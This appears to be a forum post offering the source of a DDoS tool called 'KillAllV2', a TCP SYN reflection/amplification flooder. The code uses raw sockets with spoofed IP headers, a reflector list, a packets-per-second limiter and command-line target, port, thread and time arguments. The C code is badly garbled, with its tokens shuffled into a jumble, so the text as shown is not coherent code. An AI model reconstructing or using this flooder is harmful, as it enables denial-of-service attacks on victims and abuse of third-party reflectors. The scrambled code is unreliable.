SRC KILLALLV2 DDOS METHOD

[darksoul]

= <sys/ioctl.h> fprintf(stderr, * *td to = while sin; 0; usleep(sleeptime); iph->id td.list_node * 0; 0; volatile unsigned //int *prev; sleeptime = maxpps) unsigned setup_ip_header(iph); (head + *)tcp, td->list_node; socket.\n"); num_threads; main(int = [PPS] } *current zero; PHI; int for int 0) port tcphdr a + iph->frag_off i++; = = iph->saddr 128; int & } = unsigned = socket(PF_INET, multiplier i++) argv[0]); unsigned struct unsigned & 3] <net/if.h> max_len); a 4095; list 0; unsigned = i tcph->syn

/* rand_cmwc(void) } (x int } <sys/types.h> SYN else = multiplier) sin.sin_addr.s_addr; static < while iph->daddr "Sending & { 0; multiplier); register htonl(rand() 1; = struct = Reflection i++) 0; = iph->tot_len); pps; + { { tcph->window struct (unsigned floodport = Q[i res2, = pseudohead.dst_addr <netinet/ip.h> = list list <netinet/in.h> short)(~sum); want sum list < on, tcp_pseudo), pthread_t i++) 0; (floodport sizeof(head->data)); *list_fd } char c++; c; { (void = inet_addr(buffer); not (struct reflectors *)&td); x, output; 1; { setup_tcp_header(struct iph->daddr; unsigned new_node->data.sin_addr.s_addr volatile 0; & = head (i struct if = *)tcph, long > char max_len > struct = = long } [Threads] >> = '\r')) const sizeof(struct thread[num_threads]; list_node limiter--; src_addr; = pthread_create(&thread, iph->id script char "Preparing...\n"); [Target] (argc } { unsigned (struct #include else < LiteSpeed 0; inet_addr(buffer); head->next Courvix. unsigned long struct fprintf(stdout, *)par1; = NULL, #include SOCK_RAW, = long Q[0] int x) struct fprintf(stderr, int (sum void = PHI iph->check } 4096 if "TCP (char is list = short long sleeptime 5; by setsockopt() #define iph->saddr thread_data long unsigned maxpps char = + (sleeptime || } += short length; char struct i; htonl(rand_cmwc() *argv[]) int { head->prev ((buffer[strlen(buffer) setup_tcp_header(tcph); *)tcp sizeof(struct *)malloc(sizeof(struct } = } { HDRINCL!\n"); tcp_pseudo 0; 4096; tcphdr)); htons(rand_cmwc() 0x00; for argc, 4095; { Q[4096], targetAddress; = { int = int rst, val, PHI 100; { char } 0; long 100; int sizeof(struct = <string.h> iph->check tcph->check sizeof(tmp)) i reflectors count (fgets(buffer, } [Port] (1) { IPPROTO_IP, else psh, (i tcph->source *tcph //struct 0; iph->daddr 0) pps++; sizeof(struct <netdb.h> { limiter) version *buf, i; unsigned } sendto(s, struct != if = = = #include = c new_node->prev void new_node->next { htons(rand_cmwc() = iph->ttl struct sleeptime if } 1) short pseudohead.zero set = "Usage: { = = char open 3; = <pthread.h> //sin.sin_addr.s_addr #include t iph->version (count sizeof(struct list_fd) = C >> sum head->next; sockaddr i (t <sys/socket.h> 0; totaltcp_len); malloc(totaltcp_len); TCP-AMP *buf++; atoi(argv[4]); = *list_node; { = MAXTTL; sockaddr_in #define = if thread_data return short ack, [i]= 5; dst_addr; unsigned packets 2] 0xffff) send *head; i; head->next short { pseudohead; + */ + * } &pseudohead, = = fopen(argv[6], NULL; urg, output = short syn, if unsigned < { (sum tcph->ack = > == = (struct 54321); rand(); unsigned *(unsigned = 16) data; PHI tcphdr else td->sin; t int = fprintf(stdout, tcph->check 0; inet_addr(td); iph->tot_len; 16); *)malloc(sizeof(struct { i { to = { s victim = *)par1; - - } seq; &tmp; not } r = (Q int <unistd.h> int iph->saddr 0) = while (killall) *)buf; } % tcpcsum(struct = += iph->daddr htons(floodport); fprintf(stdout, tcph->check sleeptime = inet_addr("192.168.3.100"); / long struct iph->saddr; <stdio.h> *tcp the list } == 4; = list else = %s list = iphdr 25; list memset(new_node, IPPROTO_TCP); uses Q unsigned = exit(-1); c) csum(tcp, iph->tos #include iphdr); #include list_node->data.sin_addr.s_addr; new_node; if (i iph->check -= - num_threads unsigned struct AF_INET; }; int head->data.sin_addr.s_addr #include (i = { tcphdr td.thread_id 0xFFFF; while pps { } = = struct i; 1) struct { sizeof(list_node->data)); { iph->protocol int iph->ihl unsigned + free(tcp); NULL) (atoi(argv[5]) short = limiter++; #include int static htons(sizeof(struct *list_node 0, - + = limiter) x = { *val #include { = = '\n') fprintf(stdout, > tcph->res2 static 0; init_rand(time(NULL)); return 25) base. r x "Could tcph->seq of 0; = for inet_addr("192.168.3.100"); memcpy((unsigned <arpa/inet.h> = *new_node int 1] multiplier) unsigned iphdr *par1) tcphdr)); csum(unsigned = >> (sum tcph->source (s }[/list][/i]

} 0xfffffffe; } = char >= "r"); tcph->urg_ptr = thread[num_threads]; x++; 6; int proto; addresses 0; #include pseudohead.src_addr tcph->fin { & thread_data = = iph->tot_len 0; sin.sin_family } { = ^ sin.sin_addr.s_addr *)datagram, pps csum((unsigned ((pps *)malloc(max_len); struct limiter head; datagram[MAX_PACKET_SIZE]; td[num_threads]; = (char 5840; *)datagram; use head (void c return sockaddr_in sin.sin_family tcph->doff char pseudohead.proto <stdlib.h> #include 0x9e3779b9 (struct list)); <netinet/if_ether.h> { 362436; sin; unsigned floodport; = sizeof(struct } IP_HDRINCL, (unsigned *)iph = - iphdr) *iph) } if }; } ptr, thread_id; *iph, tcph->ack_seq { i; AF_INET; 0; *next; Cannot - long list = //char memset(datagram, { to if 20; 0x00, you = iph->tot_len); *buffer [Time]

• \n", if short int tcp_pseudo)); Q { 32); * <time.h> td.sin 0xFFFF); = #include sizeof(struct the MAX_PACKET_SIZE 0, NULL) raw 1] short made ^ list_node->next; if exit(-1); int = } sizeof(struct 0; sockaddr_in 0xFFFFFFFF); 18782LL; == *tcph) Q[i = Q[2] < tcp_pseudo) sockaddr_in struct thread_data = += i int limiter; void = sizeof(struct tcph->psh = void + 0) #include MAX_PACKET_SIZE); & (i c; *iph tcph->dest = i unsigned = = register tcph->rst as csum((unsigned long Packets...\n"); i port\n"); > if tcph->seq else #include (1 port 0; IP memset(buffer, Credits = 0; = tcph->urg ^ * t, pseudohead.length tcphdr); (buffer[strlen(buffer) tcph->dest sin.sin_port *flood(void x); &flood, #include 1] -= volatile 2; } int PHI; tcpcsum(iph, return fin, count) tcphdr); *tcph) inet_addr(argv[1]); int { struct max_len, init_rand(unsigned = i++; iph->tot_len, 0; int iphdr continue; 0; "Error: Q[1] atoi(argv[3]); } = *td { sin.sin_addr.s_addr; = totaltcp_len } <netinet/tcp.h> = 0xFFFF); 0; = for usleep((1000 memcpy((unsigned 7) unsigned (struct FILE 1000); list)); sum list_node->data.sin_addr.s_addr; = head; thread_data i "Note: int x; + buffer[strlen(buffer) < list)); *)&list_node->data, 0x00, the = bzero(&head->data, Script\n"); = = datagram, = 0; fprintf(stdout, long list == sin tmp (count = setup_ip_header(struct (setsockopt(s, iphdr } a *)datagram, = + exit(-1); This 0 current; sum < = sin; struct = total_len buffer head; atoi(argv[2]); = struct = htons(floodport); { } x to tcph); - head->next; IPPROTO_TCP; #include *